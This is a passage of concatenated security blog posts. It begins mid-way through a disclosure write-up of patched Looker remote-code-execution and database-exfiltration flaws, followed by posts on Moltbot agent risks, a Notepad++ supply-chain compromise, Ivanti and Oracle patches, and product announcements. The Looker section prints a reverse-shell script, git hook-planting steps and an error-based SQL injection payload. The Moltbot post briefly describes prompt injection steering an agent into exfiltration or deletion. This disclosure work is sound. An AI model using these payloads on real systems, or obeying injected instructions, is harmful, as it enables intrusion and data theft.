We had a path traversal, but we hit a wall. For the traversal to work, the base directory (git_hooks) had to exist. We were not sure why, but in the environment we were attacking, this folder wasn't there. The file system would reject the path if one of the directories defined in the traversal didn't exist.

We then thought we could try to find a primitive to create an arbitrary directory.

We realized the remote_dependency logic does more than just write configs; it performs git clones. By manipulating the ref (the branch or commit hash) and the name of another dependency, we could trick the system.

We created a dummy dependency:

remote_dependency: git_hooks_creator { url: "https://github.com/llooker/google_ga360" ref: "../../git_hooks" }

This payload forced the system to try and clone data into a path named ../../git_hooks. As a side effect of this operation, the system created the git_hooks directory to satisfy the request.

Now the path existed. The traversal was valid.

Ingredient 3: The weaponized repo (the payload)

We had a way to redirect the hooksPath (Ingredient 1), and a way to ensure the directory existed (Ingredient 2). Now the critical question: How do we write files to the server, to then execute them as hooks?

Pointing the configuration to a folder is useless if that folder is empty or contains non-executable files. 

We can use the url definition in a remote dependency and use the Looker service as is, to clone a repository we control -- and with that, write arbitrary files to the Looker server. To point the hooksPath to the repository folder, we can traverse with the path traversal that we found. 

For Git to execute a hook (like pre-commit or post-commit), two conditions must be met:

1. The file must exist with the correct name (e.g., pre-commit).
2. The file must have the executable permission bit set (+x).

This created a challenge. Typically, when you clone a repository, Git doesn't automatically trust or preserve the file permissions from your local machine blindly -- with one major exception. Git does record the executable bit (100755) in its internal tree objects if it’s explicitly told to do so.

If we just created a script on our machine, ran chmod +x script.sh, and pushed it, the executable bit might be preserved depending on the client’s OS and configuration. We wanted a guarantee. We needed to manipulate the Git index directly to ensure that any client cloning this repo (including the Looker server) would be forced to write that file to disk as an executable.

We used the following Git command on our attacker machine:

git update-index --chmod=+x hook

Why this Git command matters: Standard chmod changes the file system metadata on your computer. git update-index changes the metadata in the Git index itself. It tells Git: "I don't care what the file system says; when you store this file in the repo object, mark it as an executable binary."

So, the attack setup looked like this:

1. We created a malicious repository hosted on GitHub.
2. Inside, we placed a bash script named pre-commit containing our reverse shell payload.
3. We forced the executable bit in the Git index.
4. We pushed this "weaponized repo" to the web.

 

Now, when Looker cloned this "innocent" remote dependency (using the directory creation primitive from Ingredient 2), it dutifully followed the instructions in the Git tree object. It wrote our pre-commit script to the disk and set the executable bit.

Because of our config path traversal (Ingredient 1), Looker’s config was now pointing the hooksPath to the exact folder where this cloned, executable, and malicious script was waiting. The trap was set.

The payload script:

#!/bin/bash /bin/bash -i >& /dev/tcp/10.0.0.1/1337 0>&1Ingredient 4: Git hooks won’t run

We had the config pointed at our script. We had the script in place. But for some reason, the hooks did not run when we tried to run the exploit.

We found out that the problem was JGit.

By default, Looker uses JGit (a Java implementation of Git) for all repository operations. JGit doesn't support Git hooks, therefore, it does not run scripts from hooksPath the way native Git does. 

However, we knew there should be a Git implementation in the code base so we kept reviewing Looker’s code. We found a specific deployment flow that allows deploying a Looker project with an attached Git repository, where Looker executes real Git commands instead of JGit. Looker then falls back to executing real system Git commands.

Moshe Bernstein, Tenable Senior Security Researcher, played a pivotal role here. He helped hunt down this specific needle in the haystack. He found the exact parameters that needed to be set by following the code execution flow from sending the project creation request to the endpoint to creating a Git repository inside Looker that works with Git and not JGit. By sending a specific set of POST parameters, we could create a repository that works with Git in the code flow, and not with JGit.

These specifically were the POST parameters to create a Looker Git repository that works with Git commands when interacted with:

git_auth_configured=true&git_application_server_http_scheme=&git_application_server_http_port=&skip_tests=true&reset_deploy_key=falseIngredient 5: The race condition (the trigger)

There was another problem: before running a Git command, Looker overwrites the .git/config as part of the code flow. This leads to the hooksPath value being reset and changed to the default and safe value. It cleans up our mess before we can exploit it.

To tackle the problem, this is where the race condition comes in:

1. Looker starts the operation.
2. Looker writes the Safe config.
3. Looker executes git commit.

We needed to inject step 2.5: Overwrite the config with our malicious path.

Because the file system write (the config update) and the execution (the commit) are distinct events, we could hammer the API. We set up a script to spam the "save manifest" endpoint (which writes our malicious traversal to the config) while simultaneously triggering the "commit" endpoint.

After a few tries, we won the race. The system executed git commit, checked the config (which we had just overwritten), followed the hooksPath to our malicious directory, and executed our script.

As an example, we dropped a txt file inside the /tmp directory:
 

Result: RCE on the Looker instance

For Looker’s Google-managed instances in Google Cloud Platform (GCP), the RCE could affect cross-tenant victims. By accessing a shared secrets folder, attackers could laterally move to other GCP customers.

For on-premises and self-hosted versions, the threat shifts from cross-tenant access to code execution, leading to internal lateral movement.

Vulnerability #2: Full internal database exfiltration

The second vulnerability allowed us to peer behind the curtain of Looker's internal management.

Internal connections

While poking inside Looker’s logs, we found out that Looker manages its own metadata, users, and permissions using an internal MySQL database with internal database connections. Each Looker project has a Looker instance with its own MySQL internal database. Access to these internal connections is strictly restricted and should not be accessible to standard users or developers.

Yet, one of the logs leaked the internal Looker database connection, named looker__ilooker. 

Proxying to internal connections

When creating a new LookML project, customers should select a connection to their own database to use their data inside the created project. The UI restricts users from selecting database connections that they don’t own and only lists the database connections that they created and are available to them. 

Armed with the knowledge that internal connections and internal databases are used to manage Looker instances, we were able to intercept the HTTP request and modify the connection parameter directly. We could then bypass the UI validation and attach to an internal connection.
 

We simply proxied the request and changed the connection name to looker__ilooker. Looker accepted the request, attaching our user-controlled project to its highly sensitive internal database.
 

Exfiltrating data with error-based SQL injection

With the project attached to the internal database, we still needed a way to extract data. 

We turned to Looker's "data tests" feature. 

In LookML tests, the “sql” field lets you run a custom SQL query directly against the attached database connection to validate data conditions. Luckily for us, in the project we just created, the attached database connection is the internal Looker database we attached.

Even though LookML data tests allow a sql field, Looker still controls how that SQL is executed. The SQL is expected to be a Boolean-style validation query, results are not fully returned to the user, and you typically only see pass/fail, not raw query output.

So while the SQL runs, its output isn’t exposed in a way that lets you read any meaningful data.

We came up with the idea of creating a LookML test that included an error-based SQL injection payload inside a dimension definition, to leak data with errors:

LookML

dimension: id { type: number sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;; }

When we ran the data test, the underlying database attempted to execute this SQL. Because of the updatexml function, the database threw an error that contained the result of our subquery.

The result: 

XPATH syntax error: '~dev::uri:classloader:/helltool/'

By iterating through offsets, we could dump the entire internal database - users, configurations, and secrets - byte by byte. After confirming that we could have leaked data with the vulnerability, we did not escalate further.

Conclusion and next steps

These two vulnerabilities demonstrate that even mature, widely used platforms can harbor significant security risks.

The "LookOut" vulnerabilities serve as a reminder that Business Intelligence (BI) platforms are high-value targets.

The discovery of a cross-tenant RCE path underscores the complexity of securing cloud environments. It’s hard to secure systems while giving users highly powerful capabilities, such as running SQL and indirectly interacting with the file system of the managing instance.

The bottom line: While Google has moved swiftly to patch these issues, the burden of security now shifts to customer-hosted administrators. Organizations running Looker on-premises must verify they have upgraded to the patched versions.

If your Looker instance is self-hosted, we recommend upgrading your Looker instances to one of the following versions:

25.12.30+

25.10.54+

25.6.79+

25.0.89+

24.18.209+

Note: releases 25.14 and above are not affected by these security issues.

Tenable Research has disclosed all of these issues to Google and directly worked with them to fix the vulnerabilities. The Google security bulletin can be seen here. The associated TRAs are TRA-2025-44 and TRA-2025-43.

To get more information about how to protect your cloud environments, visit the Tenable Cloud Security page.

Moltbot, the viral AI agent, offers immense power but is riddled with critical vulnerabilities, including remote code execution (RCE), exposed control interfaces, and malicious extensions. Read on to understand the vulnerabilities associated with Moltbot and the immediate security practices users must prioritize to mitigate this enormous agentic AI security risk.

Key takeaways

1. Moltbot takes an AI agent, gives it access to your computer, your communication streams, your accounts, and much, much more.
2. Given the severe and active threats, including exposed control interfaces, authentication bypasses, and malicious extensions, users must prioritize the security practices outlined below.
3. The convenience of incredible power cannot outweigh the risk that Moltbot’s vulnerabilities create.

What is Clawdbot?

Clawdbot (recently rebranded as Moltbot and subsequently to OpenClaw due to a trademark dispute with Anthropic) is a viral open-source AI assistant. It has been praised for its ability to autonomously execute tasks on local hardware, exemplifying what modern AI can do to truly help end users. As of January 2026, and coinciding with the application's widespread viral adoption, security researchers have identified multiple significant vulnerabilities that place Moltbot users at risk.

What is Moltbot used for?

Moltbot is a multi-function AI agent designed to perform many tasks. Indeed, the website claims it “Works With Everything.” Some features include:

• Setup: Runs on any machine with a choice of models.
• Integrations: Works with any chat app
• Browse the Web: Submit forms on your behalf, find information.
• Memory: Remembers context about you and your preferences
• Extensible: Use or write plugins and skills
• Access: Ability to read and write to disk, execute commands, and more.
• Sandbox: Tools and agents can run inside Docker containers and require approval.

The agent already has an enormous list of official and custom integrations. Given the large feature set, Moltbot must also have a large attack surface. Let’s take a look at Moltbot from an agentic AI security perspective.

Is Moltbot safe? Critical agentic AI security vulnerabilities

• Remote code execution (RCE): Coding issues in the gateway could allow attackers to run commands on the host system with the same permissions as the user, potentially leading to full system compromise. A researcher from depthfirst identified CVE-2026-25253, chaining two findings to execute code on the bot. Two more command injection CVEs have been identified (CVE-2026-24763 and CVE-2026-25157).
• Malicious skills: An OpenClaw bot at Koi identified a few hundred malicious skills in the ClawHub skills repo.
• Exposed control interfaces: Researchers from SlowMist and other firms found that many users misconfigure their setups, leaving the Clawdbot Control web interface publicly accessible on the internet without password protection.
• Authentication bypass: A flaw in how the gateway handles localhost connections allows external attackers to bypass login protections when the software is deployed behind a common reverse proxy (like Nginx).
• Sensitive data leaks: Moltbot stores authentication tokens (API keys), user profiles, and memories in plaintext Markdown and JSON files. Attackers who gain access can steal these keys to take over accounts or conduct Cognitive Context Theft using private conversation histories.
• Indirect prompt injection: Because the tool can read emails, chat messages, and web pages, malicious actors can send messages that trick the AI into executing unauthorized commands, such as exfiltrating data or deleting files.

Recent risks and rebranding

• Trademark rebrand: On January 27, 2026, the project was renamed Moltbot following a legal request from Anthropic.
• Account hijacking: During the name change, the original @clawdbot handles on X and GitHub were immediately snatched by crypto scammers who are now using them to promote fake tokens ($CLAWD) to the project's more than 60,000 followers.
• Second trademark rebrand: On January 29, the project was renamed OpenClaw.
• Malicious extensions: Fake "Clawdbot Agent" extensions for VS Code have been discovered. These fake extensions install trojans and remote access malware on users’ machines.

Recommended security practices for Moltbot users

If you choose to run this software, security experts recommend several immediate hardening steps:

• Strict whitelisting: Use the OpenClaw Security Guide to explicitly whitelist only necessary tools and block dangerous shell execution capabilities.
• Verify gateway settings: Ensure gateway.auth.password is set and verify that your reverse proxy correctly passes headers so authentication is not bypassed.
• Use sandboxing: Enable sandbox mode for the AI agent to restrict its access to your filesystem and browser.
• Run security audits: Use the built-in security audit tool periodically to check for exposed ports or misconfigurations.
• Restrict token access: Moltbot uses API keys and other tokens to access services. These should all be scoped appropriately to allow just enough access and disallow dangerous actions.
• Privacy: Moltbot can be added to group channels where it can read and parse untrusted messages. To help mitigate the risk of prompt injection, grant access only to trusted people and channels.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. A list of Tenable plugins for this vulnerability can be found on the search page for Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Threat actors compromised the update infrastructure for Notepad++, redirecting traffic to an attacker controlled site for targeted espionage purposes.

Change log

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Click here to review the change log history

Update February 4: This FAQ blog has been updated to note that CVE-2025-15556 was assigned for this security incident.

Key takeaways:

1. Beginning in June 2025, threat actors compromised the infrastructure Notepad++ uses to distribute software updates.
    
2. The issue has been addressed and Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates.
    
3. Reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom.

Background

Tenable’s Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding the disclosure of a supply chain compromise of Notepad++.

FAQ

What happened with Notepad++?

On February 2, Don Ho, creator of Notepad ++, a source code and text editor for Windows, published a blog detailing the investigation into a supply chain security incident.

What kind of security incident is this?

According to the blog post, threat actors compromised the infrastructure by which Notepad++ would distribute software updates. This compromise allowed the attackers to redirect update traffic from its intended destination (notepad-plus-plus dot org) to an attacker-controlled site.

When did this security incident begin?

The security incident began in June 2025.

How long did the security incident last for?

Roughly six months. The compromised infrastructure was accessible until September 2, 2025. However, because the attackers possessed valid credentials for the internal services of the infrastructure provider, they were able to continue redirecting Notepad++ update traffic until December 2, 2025.

Was this incident known prior to February 2?

Yes, Ho published a blog post on December 9 regarding the release of version 8.8.9 and noted that security experts “reported incidents of traffic hijacking affecting Notepad++.” The full scope of the security incident wasn’t known at the time as the investigation was ongoing.

Has this attack been linked to a specific threat actor?

Yes, reports suggest that the attack was carried out by a Chinese threat actor known as Lotus Blossom, also known as Bilbug, Raspberry Typhoon or Thrip.

What do we know about Lotus Blossom?

Lotus Blossom has been operating since 2009, known for deploying various backdoor malware. Regionally, the group has a penchant for targeting entities across Asia including government and the defense sector.

How widespread was this Notepad++ attack?

Despite the widespread usage of Notepad++, reports indicate that Lotus Blossom focused more on espionage of certain targets through the deployment of malware rather than financially motivated cybercrime like ransomware or extortion.

Were there any vulnerabilities associated with this security incident?

On February 2, CVE-2025-15556 was assigned for this security incident. CVE-2025-15556 is a download of code without integrity check vulnerability.

Are there software updates available for this security incident?

Yes, Notepad++ have released 8.9.1 which now includes XML signature validation (XMLDSig) for security updates with additional signing enforcement expected in version 8.9.2.

Affected ProductAffected VersionsFixed VersionsNotepad ++8.9 and lower8.9.1 and above

Has Tenable released any product coverage for these vulnerabilities?

Yes, a Tenable plugin to identify vulnerable versions of Notepad++ can be found here.

This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Notepad++ Hijacked by State-Sponsored Hackers
• Notepad++ v8.8.9 release: Vulnerability-fix

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Tenable Cloud Security continues to expand the technical depth of our Tenable One exposure management platform. Our latest enhancements include unified multi-cloud exploration, high-fidelity network validation, and expanded entitlement visibility across infrastructure and identity providers.

Key takeaways

1. Graph-based multi-cloud exploration: We’ve leveraged our unified data model to provide deep visibility across all cloud environments. You can now easily explore cloud risks and resources using an advanced query builder to build and save queries, and switch to Graph view to instantly visualize complex asset relationships and blast radius.
2. Outside-In network attack surface validation: A new external network scanner probes environments to confirm reachability, allowing teams to prioritize vulnerability mitigation based on verifiable external exposure
3. Comprehensive identity inventory: We’ve expanded our identity inventory to unify entitlement tracking across cloud platforms, including Microsoft Entra ID and Google Workspace. This allows teams to instantly pinpoint overprivileged roles and unused policies to enforce least privilege at scale.

Explorer: Unified query and relationship mapping 

Fragmentation of data across disconnected tools is a primary hurdle in multi-cloud security, often forcing teams to pivot between siloed views to find context. To address this, we have introduced Explorer, a unified interface for deep-dive analysis into resources and findings across your cloud estate. This capability moves beyond static views, allowing security teams to precisely identify risk by querying across objects using granular filters, logical operators, and relationship-based joins.

With the Explorer, you can:

• Perform complex correlations: Use advanced query logic and joins to connect disparate data points, such as linking specific vulnerabilities to their underlying cloud identities or identifying storage buckets that contain sensitive data and are being used for training by AI models.
• Streamline operations: Leverage saved query configurations to standardize repetitive auditing tasks and ensure consistency across compliance reviews.
• Visualize the blast radius: Utilize the Graph view to map asset dependencies, providing a clear visual understanding of how vulnerabilities can propagate through your environment.
   

The Explorer unifies multi-cloud resources into a single interface, allowing teams to query complex asset relationships and instantly visualize the potential blast radius via Graph view.

Network security: High-fidelity exposure validation

To improve prioritization accuracy, we have enhanced Tenable’s network scanner to perform outside-in probing of your cloud environments' attack surface. Rather than relying solely on static cloud configuration analysis of publicly exposed cloud resources – which can often lead to false positives — this tool conducts an external reachability analysis to confirm whether an endpoint is actually accessible from the internet. By validating real-world exposure, security teams can filter out noise and surface the small percentage of vulnerabilities that pose a genuine external threat.

To translate this validation into action, you can now filter exposed network endpoints by resource type (such as EC2 instances, S3 buckets, and databases), specific ports, host IPs, and other properties. This granularity makes it easier to isolate specific segments of your infrastructure and accelerate targeted remediation of your most critical external exposures.
 

The Tenable network scanner actively verifies external reachability to confirm internet-exposed workloads

IAM security: Expanded entitlement visibility and insight

Managing identity risk requires deep visibility into both cloud infrastructure and identity providers (IdPs). We have expanded our cloud infrastructure entitlement management (CIEM) capabilities to provide a comprehensive inventory of entitlements across AWS, Azure, GCP, Microsoft Entra ID, and Google Workspace. The Inventory view now displays all roles and identity-based policies—regardless of whether they are currently active. This technical baseline is essential for identifying "ghost" identities and stale permissions that increase the attack surface. Furthermore, administrators can now define custom security policies for any role category, including those not yet deployed in the environment. This enables the establishment of proactive governance and least-privilege guardrails that scale automatically as new resources are provisioned.

Comprehensive posture: Public AMI scanning

Our AWS coverage now includes support for public Amazon Machine Image (AMI) scanning. This allows organizations to assess the security posture of vendor-provided and AWS-published images within their own environment. By analyzing these images for vulnerabilities and misconfigurations, teams can mitigate supply chain risks before they are integrated into production workloads.
 

Audit-vendor and AWS-published images in your posture assessments to mitigate supply chain risk

Guided use cases: Solve real problems, fast

This month, we’ve added two high-impact use-case packages to help you build an exposure management foundation:

• Prioritize cloud risk that matters most. Use AI-Powered VPR and toxic combination analysis to cut through the noise, reducing remediation time by 80%. See a demo.
   
• Secure AI workloads. Discover and protect sensitive data powering AI workloads while continuously assessing the underlying AI infrastructure and configurations. Learn more by reading a solution overview.
   

 

Advance your security maturity

Maturing a cloud security program requires a shift from managing individual findings to understanding functional resilience. By unifying visibility, validating network reachability, and auditing identity, organizations build the foundation to manage exposure at scale. Tenable Cloud Security is the critical pillar of the Tenable One exposure management platform that provides these comprehensive CNAPP capabilities. Reflecting the real-world value delivered to users, Tenable was recently recognized as a 2025 Customers’ Choice in the Gartner® Peer Insights™ 'Voice of the Customer': Cloud-Native Application Protection Platforms (CNAPPs). 

Frequently Asked Questions

1. Which identity platforms are now included in the expanded inventory? Coverage has expanded beyond standard cloud providers to include Microsoft Entra ID and Google Workspace, providing visibility into the full "identity-to-data" path.
2. What is the primary technical advantage of the Explorer Graph view? It replaces isolated alerts with a visual map of asset relationships, helping teams visualize how a single vulnerability could impact adjacent resources.
3. How does the network scanner differ from standard configuration checks? It actively probes the environment from an external perspective to confirm service reachability – assessing exposure more accurately than static code analysis alone.
4. Why scan public AMIs? This ensures that third-party images, often used as base layers for workloads, are audited for vulnerabilities within the context of your specific security requirements.

Learn more:

• What is CTEM?
• Tenable Cloud Security
• Identify and secure AI workloads demo

Gartner, Voice of the Customer for Cloud-Native Application Protection Platforms, 24 December 2025, By Peer Community Contributor

Gartner and Peer Insights are trademarks of Gartner, Inc. and/or its affiliates. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Two Critical vulnerabilities in Ivanti’s popular mobile device management solution have been exploited in the wild in limited attacks

Key takeaways:

1. Patch Ivanti EPMM immediately. Both CVE-2026-1281 and CVE-2026-1340 have been exploited in the wild, though impact has been limited so far. Apply the temporary RPM patches now while waiting for version 12.8.0.0 to be released in Q1 2026.
    
2. Threat actors routinely target Ivanti. These products are a frequent target for attackers, as evidenced by the multiple vulnerabilities in EPMM that have been exploited-in-the-wild since 2020.
    
3. Exploitation risk is high. With public proof-of-concept code already available for both CVEs, expect widespread scanning and exploitation attempts.

Background

On January 29, Ivanti released a security advisory to address two critical severity remote code execution (RCE) vulnerabilities in its Endpoint Manager Mobile (EPMM), formerly known as MobileIron Core, a mobile management software used for mobile device management (MDM), mobile application management (MAM) and mobile content management (MCM).

CVEDescriptionCVSSv3CVE-2026-1281Ivanti Endpoint Manager Mobile Remote Code Execution Vulnerability9.8CVE-2026-1340Ivanti Endpoint Manager Mobile Remote Code Execution Vulnerability9.8Analysis

CVE-2026-1281 and CVE-2026-1340 are both code injection vulnerabilities in Ivanti’s EPMM. An unauthenticated attacker could exploit these vulnerabilities to gain remote code execution.

Limited exploitation observed

According to Ivanti, both CVE-2026-1281 and CVE-2026-1340 were exploited as zero-days affecting “a very limited number of customers.” Because its investigation is ongoing, Ivanti has not yet provided any indicators of compromise in relation to these attacks.

Historical exploitation of Ivanti Endpoint Mobile Manager

Ivanti products in general are a popular target for a variety of attackers. EPMM in particular has been targeted in the past, and the Tenable Research Special Operations (RSO) team has authored several blogs about these vulnerabilities. The following table outlines some of the notable EPMM vulnerabilities over the last six years:

CVEDescriptionPublishedTenable BlogsCVE-2025-4428Ivanti Endpoint Manager Mobile Remote Code Execution VulnerabilityMay 2025CVE-2025-4427, CVE-2025-4428: Ivanti Endpoint Manager Mobile (EPMM) Remote Code ExecutionCVE-2025-4427Ivanti Endpoint Manager Mobile Authentication Bypass VulnerabilityMay 2025CVE-2025-4427, CVE-2025-4428: Ivanti Endpoint Manager Mobile (EPMM) Remote Code ExecutionCVE-2023-35082Ivanti Endpoint Manager Mobile Authentication Bypass VulnerabilityAugust 2025N/ACVE-2023-35081Ivanti Endpoint Manager Mobile Remote Arbitrary File Write VulnerabilityJuly 2025CVE-2023-35078: Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core Unauthenticated API Access VulnerabilityCVE-2023-35078Ivanti Endpoint Manager Mobile Authentication Bypass VulnerabilityJuly 2025CVE-2023-35078: Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core Unauthenticated API Access VulnerabilityCVE-2020-15505MobileIron Core & Connector Remote Code Execution VulnerabilityOctober 2020CVE-2020-1472: Advanced Persistent Threat Actors Use Zerologon Vulnerability In Exploit Chain with Unpatched VulnerabilitiesProof of concept

At the time this blog was published on January 30, a public proof-of-concept (PoC) exploit was publicly available. We expect attackers will begin to leverage this PoC to conduct mass scanning and exploitation attempts against vulnerable devices.

Solution

Ivanti has released temporary updates that can be applied to address these vulnerabilities. According to the advisory, the RPMs supplied should be applied based on the installed version of EPMM. The RPMs will not survive a version upgrade, so if the version is updated, the RPM would need to be applied once again. However, the advisory further notes that an upcoming release, version 12.8.0.0, is expected to be released in Q1 2026., T and this version will include the permanent fix for these CVEs. Once version 12.8.0.0 is released and applied, the RPM scripts will no longer need to be applied.

Affected VersionRPM Patch Version12.5.0.0 and priorRPM 12.x.0.x12.5.1.0 and priorRPM 12.x.1.x12.6.0.0 and priorRPM 12.x.0.x12.6.1.0 and priorRPM 12.x.1.x12.7.0.0 and priorRPM 12.x.0.x

For more information on the patches, we strongly recommend reviewing the guidance in the security advisory from Ivanti.

Identifying affected systems

A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages for CVE-2026-1281 and CVE-2026-1340 as they’re released. This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Additionally, customers can utilize Tenable Attack Surface Management to identify public facing assets running Ivanti devices by using the following subscription:

 Get more information

• Ivanti Security Advisory: Ivanti Endpoint Manager Mobile (EPMM) (CVE-2026-1281 & CVE-2026-1340)
• Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)

Join Tenable's Research Special Operations (RSO) Team on Tenable Connect and engage with us in the Threat Roundtable group for further discussions on the latest cyber threats.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Continuously discover and monitor all AI usage across your organization, including shadow AI, agents, browser plug-ins, and more, with Tenable One AI Exposure. Map complex AI workflows to reveal high-impact exposures and monitor compliance with security and AI acceptable use policies.

Key takeaways

1. Now generally available in the Tenable One Exposure Management Platform, Tenable One AI Exposure gives security teams capabilities to monitor and secure AI-driven workflows. 
    
2. Map complex AI workflows to reveal how applications, infrastructure, identity, agents, and data combine to create high-impact exposure. 
    
3. Protect against AI-specific risks like prompt injection and jailbreak attempts while identifying sensitive data shared through AI prompts.

The rapid integration of AI across applications and infrastructure has outpaced the reach of traditional security oversight. As autonomous agents and cloud-based AI become central to the enterprise, security teams are struggling to manage a new class of risk that legacy tools were never designed to see — creating a critical AI exposure management gap.

Today, we are launching Tenable One AI Exposure to provide security teams with the capabilities needed to close that gap and mitigate AI security risks. Now generally available within the Tenable One Exposure Management Platform, these capabilities allow organizations to secure their AI-driven workflows without slowing innovation.

The AI exposure management gap explained

The AI exposure management gap refers to three challenges security teams face: whether they can see how employees are using AI, where it’s running, and how AI exposure accumulates across interconnected systems — both within and outside an organization.

AI exposure is hard to gauge for a variety of reasons. For one, it doesn’t look like traditional cyber risk. It doesn’t live in one system. It doesn’t announce itself as a vulnerability. And it doesn’t wait for attackers to exploit it before causing harm. AI security risks show up in:

• Employee-facing AI platforms like ChatGPT, Copilot, and embedded SaaS features
• Cloud-based AI services and model pipelines
• APIs, agents, and browser plug-ins
• Public-facing applications and services

Much of this adoption happens outside traditional security workflows. Shadow AI deployments, forgotten test environments, unsafe integrations, and over-permissioned services quietly expand the attack surface, often without security teams realizing they exist.

At the same time, AI workloads rely on complex chains of infrastructure, identities, APIs, and data access. A single misconfiguration or overly broad permission can turn routine AI usage into a high-impact exposure.

Because AI interactions happen constantly through prompts, uploads, responses, and automated actions, even approved use can unintentionally expose sensitive data without the right visibility and guardrails in place.

Finally, AI exposure rarely appears as a single alert or vulnerable asset. Instead, it emerges through connections. For example:

• An employee uses an approved third-party tool
• That tool invokes an internal AI service or agent
• The agent has access to sensitive data or systems
• A misconfiguration or exposed endpoint makes that access reachable

Individually, each component may appear benign. Together, they create real risk.

Traditional security tools tend to look at these elements in isolation: cloud posture here, identity permissions there, application risk somewhere else. Without a way to connect these signals, security teams are left reacting to symptoms instead of managing exposure.

Introducing Tenable One AI Exposure

Tenable One AI Exposure helps teams close this visibility gap by continuously discovering, contextualizing, and prioritizing AI-related exposure across your organization — internal and external, on-premises and cloud — to deliver a complete, risk-aware view of where AI operates, its connections, and where it creates exposure. 

Unlike point AI cybersecurity tools that surface isolated findings, Tenable One connects the entire activity chain in a single view, showing how AI applications, infrastructure, identity, agents, and data combine to create real risk. By correlating these relationships, Tenable One helps your security teams prioritize the AI exposures that matter most to reduce AI security risks across all environments.

How Tenable One helps secure the AI attack surfaceDiscover AI across your organization

You can’t manage AI risk if you don’t know where AI exists.

Tenable One continuously discovers AI usage across internal environments and the external attack surface, helping teams eliminate blind spots and maintain an up-to-date understanding of their AI footprint. This includes visibility into sanctioned and shadow AI across applications, endpoints, cloud workloads, APIs, agents, and publicly exposed services.

Security teams can see where AI services are running, which technologies are in use, and how external exposure aligns with internal awareness.
 

Source: Tenable, January 2026 Understand how AI creates exposure

Discovery alone isn’t enough. AI risk emerges from how systems interact.

Tenable One maps AI workflows across cloud platforms and services, revealing how AI models, infrastructure, storage, networking, and access controls work together. It highlights vulnerabilities and misconfigurations in AI-related software and cloud resources while providing context about what data and systems those components can reach.

By connecting AI infrastructure with identity and access paths, teams gain clarity into where exposure is actually created, not just where AI exists.
 

Source: Tenable, January 2026

 

Protect AI workloads, services, and access

Reducing AI risk means closing the gaps attackers exploit. 

Tenable One helps teams identify and remediate risky configurations in AI workloads and model environments before they can be abused. It also surfaces excessive permissions and identity weaknesses tied to AI services and agents, enabling teams to enforce least-privilege access and reduce attack paths that put critical AI resources at risk.

This identity-driven exposure insight helps security teams focus on the combinations of weaknesses that matter most.

Govern AI usage and data flow

AI adoption doesn’t have to come at the cost of security or compliance.

Tenable One provides visibility into how employees and agents interact with AI platforms, including tools like ChatGPT, Copilot, and embedded generative AI features. It also shows how data flows through those interactions. Teams can identify sensitive data shared through prompts or uploads, enforce AI acceptable use policies, and apply guardrails that guide users toward safer AI behavior. 

The platform also detects AI-specific threats and misuse, such as prompt injection and jailbreak attempts, and provides high-fidelity context to support fast, confident response.
 

Source: Tenable, January 2026

 

Secure AI adoption without slowing innovation

AI doesn’t have to be your biggest blind spot, and security doesn’t have to be the brake on innovation. With Tenable One AI Exposure, organizations can move forward confidently, knowing they have a proactive, pre-breach approach to managing AI risk across the entire attack surface. 

New to Tenable? Request a Tenable One AI Exposure demo today.

Existing customer? Reach out to your account team to expand your Tenable One coverage to include AI Exposure.

Oracle addresses 158 CVEs in its first quarterly update of 2026 with 337 patches, including 27 critical updates.

Key takeaways:

1. The first Critical Patch Update (CPU) for 2026, contains fixes for 158 unique CVEs in 337 security updates.
    
2. 27 issues (8% of all patches) were assigned a critical severity rating. 
    
3. CVE-2026-21945, a high severity Server-Side Request Forgery (SSRF) vulnerability in Oracle Java was discovered by Tenable Research.

Background

On January 20, Oracle released its Critical Patch Update (CPU) for January 2026, the first quarterly update of 2026. This CPU contains fixes for 158 unique CVEs in 337 security updates across 30 Oracle product families. Out of the 337 security updates published this quarter, 8% of patches were assigned a critical severity. High severity patches accounted for the bulk of security patches at 45.7%, followed by medium severity patches at 42.4%.

This quarter’s update includes 27 critical patches across 13 CVEs.

SeverityIssues PatchedCVEsCritical2713High15467Medium14369Low139Total337158Analysis

This quarter, the Oracle Zero Data Loss Recovery Appliance product family contained the highest number of patches at 56, accounting for 16.6% of the total patches, followed by Oracle Enterprise Manager at 51 patches, which accounted for 15.1% of the total patches.

A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication.

Oracle Product FamilyNumber of PatchesRemote Exploit without AuthOracle Zero Data Loss Recovery Appliance5634Oracle Enterprise Manager5147Oracle E-Business Suite3833Oracle Java SE207Oracle MySQL1410Oracle PeopleSoft1411Oracle Systems141Oracle HealthCare Applications1210Oracle JD Edwards1210Oracle Hospitality Applications1111Oracle Retail Applications108Oracle Commerce87Oracle Communications82Oracle Financial Services Applications86Oracle Database Server72Oracle TimesTen In-Memory Database76Oracle Hyperion75Oracle Analytics66Oracle GoldenGate53Oracle Fusion Middleware53Oracle Siebel CRM51Oracle Supply Chain54Oracle Construction and Engineering44Oracle Health Sciences Applications44Oracle APEX10Oracle Essbase11Oracle Graph Server and Client10Oracle Key Vault10Oracle NoSQL Database11Oracle Secure Backup11

